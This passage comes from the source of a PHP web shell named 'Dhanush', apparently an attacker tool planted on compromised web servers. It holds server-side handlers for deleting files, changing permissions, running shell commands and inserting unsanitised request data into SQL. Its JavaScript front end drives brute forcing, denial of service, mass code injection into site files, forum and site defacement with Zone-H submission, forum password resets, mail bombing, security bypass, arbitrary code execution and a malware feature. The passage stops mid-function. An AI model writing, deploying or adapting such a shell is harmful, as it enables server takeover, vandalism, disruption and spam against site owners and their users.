4619 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4620 $num = mysql_num_rows( $pResult );
4621
4622 $rowcount = $num;
4623
4624 $pResultLen = mysql_list_fields( $dbname, $tablename );
4625
4626 for( $i = 0; $i < $num; $i++ )
4627 {
4628 $field = mysql_fetch_array( $pResult );
4629 $fieldname = $field["Field"];
4630 $arrdata = $_REQUEST[$fieldname];
4631
4632 $str1 .= "".$fieldname . ",";
4633 $str2 .= "'".$arrdata . "',";
4634 $rowcount--;
4635 if($rowcount != 0)
4636 {
4637 //$str1 .= $fieldname . ",";
4638 //$str2 .= $arrdata . ",";
4639 }
4640 }
4641 $str1=eregi_replace(',$', '', $str1);
4642 $str2=eregi_replace(',$', '', $str2);
4643 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
4644 mysql_query($str);
4645
4646 ?><div id="showsql"></div><?php
4647}
4648else if(isset($_GET['logoutdb']))
4649{
4650 setcookie("dbserver",time() - 60*60);
4651 setcookie("dbuser",time() - 60*60);
4652 setcookie("dbpass",time() - 60*60);
4653 header("Location:$self");
4654}
4655else if(isset($_POST['choice']))
4656{
4657 if($_POST['choice'] == "delete")
4658 {
4659 $actbox = $_POST["actbox"];
4660
4661 foreach ($actbox as $myv)
4662 $myv = explode(",",$myv);
4663 foreach ($myv as $v)
4664 {
4665 if(is_file($v))
4666 {
4667 if(unlink($v))
4668 echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
4669 else
4670 echo "<br><center>Cannot Delete File $v</center>";
4671 }
4672 else if(is_dir($v))
4673 {
4674 rrmdir($v);
4675 }
4676 }
4677 }
4678 else if($_POST['choice'] == "chmod")
4679 { ?>
4680 <form id="chform"><?php
4681 $actbox1 = $_POST['actbox'];
4682 foreach ($actbox1 as $myv)
4683 $myv = explode(",",$myv);
4684 foreach ($myv as $v)
4685 { ?>
4686 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
4687 <?php }
4688 ?>
4689 <table align="center" border="3" style="width:40%; border-color:#333333;">
4690 <tr>
4691 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
4692 </tr>
4693 <tr>
4694 <td colspan="2" align="center" style="height:60px">
4695 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
4696 </tr>
4697 </table>
4698
4699 </form> <?php
4700 }
4701 else if($_POST['choice'] == "changefileperms")
4702 {
4703 if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
4704 {
4705 $actbox = $_POST["actbox"];
4706 foreach ($actbox as $myv)
4707 $myv = explode(",",$myv);
4708 foreach ($myv as $v)
4709 {
4710 if(is_file($v) || is_dir($v))
4711 {
4712 $perms = 0;
4713 for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
4714 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
4715 echo "<div align=left style=width:60%;>";
4716 if(@chmod($v,$perms))
4717 echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
4718 else
4719 echo "Cannot Change $v File Permissions<br>";
4720 echo "</div>";
4721 }
4722 }
4723
4724 }
4725 }
4726 else if($_POST['choice'] == "compre")
4727 {
4728 $actbox = $_POST["actbox"];
4729 foreach ($actbox as $myv)
4730 $myv = explode(",",$myv);
4731 foreach ($myv as $v)
4732 {
4733 if(is_file($v))
4734 {
4735 $zip = new ZipArchive();
4736 $filename= basename($v) . '.zip';
4737 if(($zip->open($filename, ZipArchive::CREATE))!==true)
4738 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
4739 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
4740 $zip->addFile(basename($v));
4741 $zip->close();
4742 }
4743 else if(is_dir($v))
4744 {
4745 if($os == "Linux")
4746 {
4747 $filename= basename($v);
4748 execmd("tar --create --recursion --file=$filename.tar $v");
4749 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
4750 }
4751 }
4752 }
4753 }
4754 else if($_POST['choice'] == "uncompre")
4755 {
4756 $actbox = $_POST["actbox"];
4757 foreach ($actbox as $myv)
4758 $myv = explode(",",$myv);
4759 foreach ($myv as $v)
4760 {
4761 if(is_file($v) || is_dir($v))
4762 {
4763 $zip = new ZipArchive;
4764 $filename= basename($v);
4765 $res = $zip->open($filename);
4766 if ($res === TRUE)
4767 {
4768 $pieces = explode(".",$filename);
4769 $zip->extractTo($pieces[0]);
4770 $zip->close();
4771 echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
4772 } else
4773 echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
4774 }
4775 }
4776 }
4777}
4778else if(isset($_GET['sitename']))
4779{
4780 $sitename = str_replace("http://","",$_GET['sitename']);
4781 $sitename = str_replace("http://www.","",$sitename);
4782 $sitename = str_replace("www.","",$sitename);
4783 $show = myexe("ls -la /etc/valiases/".$sitename);
4784 if(!empty($show))
4785 echo $show;
4786 else
4787 echo "Cannot get the username";
4788}
4789else if(isset($_GET['mydata']))
4790{
4791 listdatabase();
4792}
4793else if(isset($_GET['home']))
4794{
4795 mainfun($_GET['home']);
4796}
4797else if(isset($_GET['dir']))
4798{
4799 mainfun($_GET['myfilepath']);
4800}
4801else if(isset($_GET['mydirpath']))
4802{
4803 echo is_writable($_GET['mydirpath'])?"<font class=txt>< writable ></font>":"< not writable >";
4804}
4805else
4806{
4807?>
4808<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4809<title>Dhanush : By Arjun</title>
4810<script type="text/javascript">
4811checked = false;
4812var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
4813function checkedAll ()
4814{
4815 if (checked == false){checked = true}else{checked = false}
4816 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
4817 {
4818 document.getElementById('myform').elements[i].checked = checked;
4819 }
4820}
4821function urlchange(myfilepath)
4822{
4823 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
4824 splitter = "<?php echo addslashes($directorysperator); ?>";
4825 mypath = mpath = myfilepath.split(splitter);
4826 <?php if($os == "Linux") { ?>
4827 r = "/";
4828 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
4829 <?php } ?>
4830 for (i = 0; i < mypath.length; i++)
4831 {
4832 if(mypath[i] == "")
4833 continue;
4834 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
4835
4836 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
4837 }
4838 myurl = myurl.replace(/\\/g,"\\\\");
4839 return myurl;
4840}
4841function wrtblDIR(mydirpath)
4842{
4843 var ajaxRequest;
4844 ajaxRequest = new XMLHttpRequest();
4845
4846 ajaxRequest.onreadystatechange = function()
4847 {
4848 if(ajaxRequest.readyState == 4)
4849 {
4850 for(i=0;i<=3;i++)
4851 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
4852 }
4853 }
4854
4855 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?&mydirpath="+mydirpath, true);
4856 ajaxRequest.send(null);
4857}
4858function setpath(myfilpath)
4859{
4860 wrtblDIR(myfilpath);
4861 document.getElementById("path").value=myfilpath;
4862 document.getElementById("createfile").value=myfilpath;
4863 document.getElementById("createfolder").value=myfilpath;
4864 document.getElementById("createfolder").value=myfilpath;
4865 document.getElementById("exepath").value=myfilpath;
4866 document.getElementById("auexepath").value=myfilpath;
4867 document.getElementById("showdir").innerHTML="";
4868}
4869function changedir(myaction,myfilepath)
4870{
4871 var myurl = urlchange(myfilepath);
4872
4873 document.getElementById("showmaindata").innerHTML=waitstate;
4874 var ajaxRequest;
4875 ajaxRequest = new XMLHttpRequest();
4876
4877 ajaxRequest.onreadystatechange = function()
4878 {
4879 if(ajaxRequest.readyState == 4)
4880 {
4881 setpath(myfilepath);
4882 document.getElementById("crdir").innerHTML=myurl;
4883 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4884 }
4885 }
4886
4887 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
4888 ajaxRequest.send(null);
4889}
4890function gethome(myaction,mydir)
4891{
4892 var myurl = urlchange(mydir);
4893 document.getElementById("showmaindata").innerHTML=waitstate;
4894 var ajaxRequest;
4895 ajaxRequest = new XMLHttpRequest();
4896
4897 ajaxRequest.onreadystatechange = function()
4898 {
4899 if(ajaxRequest.readyState == 4)
4900 {
4901 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4902 setpath(mydir);
4903 document.getElementById("crdir").innerHTML=myurl;
4904 }
4905 }
4906
4907 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
4908 ajaxRequest.send(null);
4909}
4910function getname(sitename)
4911{
4912 document.getElementById("showsite").innerHTML=waitstate;
4913 var ajaxRequest;
4914 ajaxRequest = new XMLHttpRequest();
4915
4916 ajaxRequest.onreadystatechange = function()
4917 {
4918 if(ajaxRequest.readyState == 4)
4919 {
4920 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
4921 }
4922 }
4923
4924 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
4925 ajaxRequest.send(null);
4926}
4927function myaction(myfileaction,chmode)
4928{
4929 var mytype = document.getElementsByName('actbox[]');
4930 var mychoice = new Array();
4931
4932 for (var i = 0, length = mytype.length; i < length; i++)
4933 {
4934 if (mytype[i].checked)
4935 mychoice[i] = mytype[i].value;
4936 }
4937
4938 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
4939
4940 document.getElementById("showdir").innerHTML=waitstate;
4941 var ajaxRequest;
4942 ajaxRequest = new XMLHttpRequest();
4943
4944 ajaxRequest.onreadystatechange = function()
4945 {
4946 if(ajaxRequest.readyState == 4)
4947 {
4948 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
4949 }
4950 }
4951
4952 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4953 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4954 ajaxRequest.send(params);
4955}
4956function editdata()
4957{
4958 var result = "", // initialize list
4959 i,dbname,tablename;
4960 // iterate through arguments
4961 for (i = 1; i < arguments.length; i++)
4962 {
4963 if(i%2 == 0)
4964 result += arguments[i]+'=';
4965 else
4966 result += arguments[i]+'&';
4967 }
4968 result = result.slice(0, -1);
4969
4970 dbname = arguments[3];
4971 tablename = arguments[5];
4972 var result=result.replace(/dhanush_/g,"");
4973 var params = arguments[0]+"="+result;
4974
4975 document.getElementById("showsql").innerHTML=waitstate;
4976 var ajaxRequest;
4977 ajaxRequest = new XMLHttpRequest();
4978
4979 ajaxRequest.onreadystatechange = function()
4980 {
4981 if(ajaxRequest.readyState == 4)
4982 {
4983 viewtables('listTables',dbname,tablename);
4984 }
4985 }
4986
4987 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4988 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4989 ajaxRequest.send(params);
4990}
4991function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
4992{
4993 document.getElementById("showsql").innerHTML=waitstate;
4994 var ajaxRequest;
4995 ajaxRequest = new XMLHttpRequest();
4996
4997 ajaxRequest.onreadystatechange = function()
4998 {
4999 if(ajaxRequest.readyState == 4)
5000 {
5001 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5002 }
5003 }
5004
5005 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
5006 ajaxRequest.send(null);
5007}
5008function mydatabase(server,username,password)
5009{
5010 document.getElementById("showsql").innerHTML=waitstate;
5011 var ajaxRequest;
5012 ajaxRequest = new XMLHttpRequest();
5013
5014 ajaxRequest.onreadystatechange = function()
5015 {
5016 if(ajaxRequest.readyState == 4)
5017 {
5018 mydatago();
5019 }
5020 }
5021
5022 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
5023 ajaxRequest.send(null);
5024}
5025function mydatago()
5026{
5027 var ajaxRequest;
5028 ajaxRequest = new XMLHttpRequest();
5029
5030 ajaxRequest.onreadystatechange = function()
5031 {
5032 if(ajaxRequest.readyState == 4)
5033 {
5034 document.getElementById("datatable").style.display = 'none';
5035 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5036 }
5037 }
5038
5039 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
5040 ajaxRequest.send(null);
5041}
5042function bruteforce(prototype,serverport,login,dict)
5043{
5044 var mytype = document.getElementsByName('mytype');
5045 for (var i = 0, length = mytype.length; i < length; i++)
5046 {
5047 if (mytype[i].checked)
5048 break;
5049 }
5050 var getreverse = 0;
5051 if(document.getElementById('reverse').checked == true)
5052 getreverse = 1;
5053 else
5054 getreverse = 0;
5055
5056 document.getElementById("showbrute").innerHTML=waitstate;
5057 var ajaxRequest;
5058 ajaxRequest = new XMLHttpRequest();
5059
5060 ajaxRequest.onreadystatechange = function()
5061 {
5062 if(ajaxRequest.readyState == 4)
5063 {
5064 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
5065 }
5066 }
5067
5068 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
5069 ajaxRequest.send(null);
5070}
5071function executemyfile(action,executepath,execute)
5072{
5073 document.getElementById("showmaindata").innerHTML=waitstate;
5074 var ajaxRequest;
5075 ajaxRequest = new XMLHttpRequest();
5076
5077 ajaxRequest.onreadystatechange = function()
5078 {
5079 if(ajaxRequest.readyState == 4)
5080 {
5081 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5082 }
5083 }
5084
5085 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
5086 ajaxRequest.send(null);
5087}
5088function maindata(myaction,dir)
5089{
5090 document.getElementById("showmaindata").innerHTML=waitstate;
5091 var ajaxRequest;
5092 ajaxRequest = new XMLHttpRequest();
5093
5094 ajaxRequest.onreadystatechange = function()
5095 {
5096 if(ajaxRequest.readyState == 4)
5097 {
5098 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5099 document.getElementById("showdir").innerHTML="";
5100 }
5101 }
5102
5103 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
5104 ajaxRequest.send(null);
5105}
5106function manuallyscriptfn(passwd)
5107{
5108 var message = encodeURIComponent(passwd);
5109 var params = "scriptlocator=scriptlocator&passwd="+passwd;
5110 document.getElementById("showdata").innerHTML=waitstate;
5111 var ajaxRequest;
5112 ajaxRequest = new XMLHttpRequest();
5113
5114 ajaxRequest.onreadystatechange = function()
5115 {
5116 if(ajaxRequest.readyState == 4)
5117 {
5118 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5119 }
5120 }
5121
5122 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5123 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5124 ajaxRequest.send(params);
5125}
5126function my404page(message)
5127{
5128 var message = encodeURIComponent(message);
5129 var params = "404page=404page&message="+message;
5130 document.getElementById("showdata").innerHTML=waitstate;
5131 var ajaxRequest;
5132 ajaxRequest = new XMLHttpRequest();
5133
5134 ajaxRequest.onreadystatechange = function()
5135 {
5136 if(ajaxRequest.readyState == 4)
5137 {
5138 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5139 }
5140 }
5141
5142 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5143 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5144 ajaxRequest.send(params);
5145}
5146function executemyfn(executepath,executemycmd)
5147{
5148 document.getElementById("showexecute").innerHTML="Wait....";
5149 var ajaxRequest;
5150 ajaxRequest = new XMLHttpRequest();
5151
5152 ajaxRequest.onreadystatechange = function()
5153 {
5154 if(ajaxRequest.readyState == 4)
5155 {
5156 document.getElementById("showexecute").innerHTML=ajaxRequest.responseText;
5157 }
5158 }
5159
5160 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
5161 ajaxRequest.send(null);
5162}
5163function zoneh(defacer,hackmode,reason,domain)
5164{
5165 var domain = encodeURIComponent(domain);
5166 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
5167 document.getElementById("showzone").innerHTML=waitstate;
5168 var ajaxRequest;
5169 ajaxRequest = new XMLHttpRequest();
5170
5171 ajaxRequest.onreadystatechange = function()
5172 {
5173 if(ajaxRequest.readyState == 4)
5174 {
5175 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
5176 }
5177 }
5178
5179 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5180 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5181 ajaxRequest.send(params);
5182}
5183function savemyfile(file,content)
5184{
5185 var content = encodeURIComponent(content);
5186 var params = "content="+content+"&file="+file;
5187 document.getElementById("showmydata").innerHTML=waitstate;
5188 var ajaxRequest;
5189 ajaxRequest = new XMLHttpRequest();
5190
5191 ajaxRequest.onreadystatechange = function()
5192 {
5193 if(ajaxRequest.readyState == 4)
5194 {
5195 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5196 }
5197 }
5198
5199 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5200 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5201 ajaxRequest.send(params);
5202}
5203function renamefun(file,to)
5204{
5205 document.getElementById("showmydata").innerHTML=waitstate;
5206 var ajaxRequest;
5207 ajaxRequest = new XMLHttpRequest();
5208
5209 ajaxRequest.onreadystatechange = function()
5210 {
5211 if(ajaxRequest.readyState == 4)
5212 {
5213 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5214 }
5215 }
5216
5217 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
5218 ajaxRequest.send(null);
5219}
5220function changeperms(chmode,myfilename)
5221{
5222 document.getElementById("showmydata").innerHTML=waitstate;
5223 var ajaxRequest;
5224 ajaxRequest = new XMLHttpRequest();
5225
5226 ajaxRequest.onreadystatechange = function()
5227 {
5228 if(ajaxRequest.readyState == 4)
5229 {
5230 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5231 }
5232 }
5233
5234 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
5235 ajaxRequest.send(null);
5236}
5237function defacefun(deface)
5238{
5239 var ajaxRequest;
5240 ajaxRequest = new XMLHttpRequest();
5241
5242 ajaxRequest.onreadystatechange = function()
5243 {
5244 if(ajaxRequest.readyState == 4)
5245 {
5246 alert(ajaxRequest.responseText);
5247 }
5248 }
5249
5250 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
5251 ajaxRequest.send(null);
5252}
5253function fileaction(myaction,myfilepath)
5254{
5255 document.getElementById("showmydata").innerHTML=waitstate;
5256 var ajaxRequest;
5257 ajaxRequest = new XMLHttpRequest();
5258
5259 ajaxRequest.onreadystatechange = function()
5260 {
5261 if(ajaxRequest.readyState == 4)
5262 {
5263 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5264 }
5265 }
5266
5267 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5268 ajaxRequest.send(null);
5269}
5270function bypassfun(funct,functvalue,optiontype)
5271{
5272 document.getElementById("showbyp").innerHTML=waitstate;
5273 var ajaxRequest;
5274 ajaxRequest = new XMLHttpRequest();
5275
5276 ajaxRequest.onreadystatechange = function()
5277 {
5278 if(ajaxRequest.readyState == 4)
5279 {
5280 document.getElementById("showbyp").innerHTML=ajaxRequest.responseText;
5281 }
5282 }
5283
5284 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
5285 ajaxRequest.send(null);
5286}
5287function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
5288{
5289 document.getElementById("showdos").innerHTML=waitstate;
5290 var ajaxRequest;
5291 ajaxRequest = new XMLHttpRequest();
5292
5293 ajaxRequest.onreadystatechange = function()
5294 {
5295 if(ajaxRequest.readyState == 4)
5296 {
5297 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
5298 }
5299 }
5300
5301 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
5302 ajaxRequest.send(null);
5303}
5304function createfile(filecreator,filecontent)
5305{
5306 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
5307 var filecontent = encodeURIComponent(filecontent);
5308 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
5309 document.getElementById("showdir").innerHTML=waitstate;
5310 var ajaxRequest;
5311 ajaxRequest = new XMLHttpRequest();
5312
5313 ajaxRequest.onreadystatechange = function()
5314 {
5315 if(ajaxRequest.readyState == 4)
5316 {
5317 gethome('home',mm);
5318 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5319 }
5320 }
5321
5322 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5323 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5324 ajaxRequest.send(params);
5325}
5326function createdir(create,createfolder)
5327{
5328 document.getElementById("showdir").innerHTML=waitstate;
5329 var ajaxRequest;
5330 ajaxRequest = new XMLHttpRequest();
5331
5332 ajaxRequest.onreadystatechange = function()
5333 {
5334 if(ajaxRequest.readyState == 4)
5335 {
5336 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5337 }
5338 }
5339
5340 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
5341 ajaxRequest.send(null);
5342}
5343function codeinsert(code)
5344{
5345 var code = encodeURIComponent(code);
5346 var params = "getcode="+code;
5347 document.getElementById("showcode").innerHTML=waitstate;
5348 var ajaxRequest;
5349 ajaxRequest = new XMLHttpRequest();
5350
5351 ajaxRequest.onreadystatechange = function()
5352 {
5353 if(ajaxRequest.readyState == 4)
5354 {
5355 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
5356 }
5357 }
5358
5359 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5360 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5361 ajaxRequest.send(params);
5362}
5363function getmydata(mydata)
5364{
5365 document.getElementById("showmydata").innerHTML=waitstate;
5366 var ajaxRequest;
5367 ajaxRequest = new XMLHttpRequest();
5368
5369 ajaxRequest.onreadystatechange = function()
5370 {
5371 if(ajaxRequest.readyState == 4)
5372 {
5373 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5374 }
5375 }
5376
5377 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
5378 ajaxRequest.send(null);
5379}
5380function getdata(mydata,myfile)
5381{
5382 document.getElementById("showdata").innerHTML=waitstate;
5383 var ajaxRequest;
5384 ajaxRequest = new XMLHttpRequest();
5385
5386 ajaxRequest.onreadystatechange = function()
5387 {
5388 if(ajaxRequest.readyState == 4)
5389 {
5390 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5391 }
5392 }
5393
5394 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
5395 ajaxRequest.send(null);
5396}
5397function getport(host,protocol,start,end)
5398{
5399 document.getElementById("showports").innerHTML=waitstate;
5400 var ajaxRequest;
5401 ajaxRequest = new XMLHttpRequest();
5402
5403 ajaxRequest.onreadystatechange = function()
5404 {
5405 if(ajaxRequest.readyState == 4)
5406 {
5407 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
5408 }
5409 }
5410
5411 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
5412 ajaxRequest.send(null);
5413}
5414function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)
5415{
5416 document.getElementById("showchangepass").innerHTML=waitstate;
5417 var ajaxRequest;
5418 ajaxRequest = new XMLHttpRequest();
5419
5420 ajaxRequest.onreadystatechange = function()
5421 {
5422 if(ajaxRequest.readyState == 4)
5423 {
5424 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
5425 }
5426 }
5427
5428 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uid=" + uid + "&uname=" + uname + "&newpass=" + newpass, true);
5429 ajaxRequest.send(null);
5430}
5431function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)
5432{
5433 var index = encodeURIComponent(index);
5434 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&alll="+alll+"&f5="+f5;
5435 document.getElementById("showdeface").innerHTML=waitstate;
5436 var ajaxRequest;
5437 ajaxRequest = new XMLHttpRequest();
5438
5439 ajaxRequest.onreadystatechange = function()
5440 {
5441 if(ajaxRequest.readyState == 4)
5442 {
5443 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
5444 }
5445 }
5446
5447 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5448 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5449 ajaxRequest.send(params);
5450}
5451function codeinjector(pathtomass,mode,filetype,injectthis)
5452{
5453 var injectthis = encodeURIComponent(injectthis);
5454 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
5455 document.getElementById("showinject").innerHTML=waitstate;
5456 var ajaxRequest;
5457 ajaxRequest = new XMLHttpRequest();
5458
5459 ajaxRequest.onreadystatechange = function()
5460 {
5461 if(ajaxRequest.readyState == 4)
5462 {
5463 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
5464 }
5465 }
5466
5467 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5468 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5469 ajaxRequest.send(params);
5470}
5471function sendmail(mailfunction,to,subject,message,from,times,padding)
5472{
5473 var message = encodeURIComponent(message);
5474 if(mailfunction == "massmailing")
5475 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
5476 else if(mailfunction == "dobombing")
5477 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
5478 document.getElementById("showmail").innerHTML=waitstate;
5479 var ajaxRequest;
5480 ajaxRequest = new XMLHttpRequest();
5481
5482 ajaxRequest.onreadystatechange = function()
5483 {
5484 if(ajaxRequest.readyState == 4)
5485 {
5486 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
5487 }
5488 }
5489
5490 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5491 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5492 ajaxRequest.send(params);
5493}
5494function execode(code)
5495{
5496 var intext = document.getElementById('intext').checked;
5497 var message = encodeURIComponent(message);
5498 var params = "code="+code+"&intext="+intext;
5499 document.getElementById("showresult").innerHTML=waitstate;
5500 var ajaxRequest;
5501 ajaxRequest = new XMLHttpRequest();
5502
5503 ajaxRequest.onreadystatechange = function()
5504 {
5505 if(ajaxRequest.readyState == 4)
5506 {
5507 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
5508 }
5509 }
5510
5511 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5512 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5513 ajaxRequest.send(params);
5514}
5515function malwarefun(malwork)
5516{
5517 var malpath = document.getElementById('createfile').value;
5518 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5519 var ajaxRequest;
5520 ajaxRequest = new XMLHttpRequest();
5521
5522 ajaxRequest.onreadystatechange = function()
5523 {
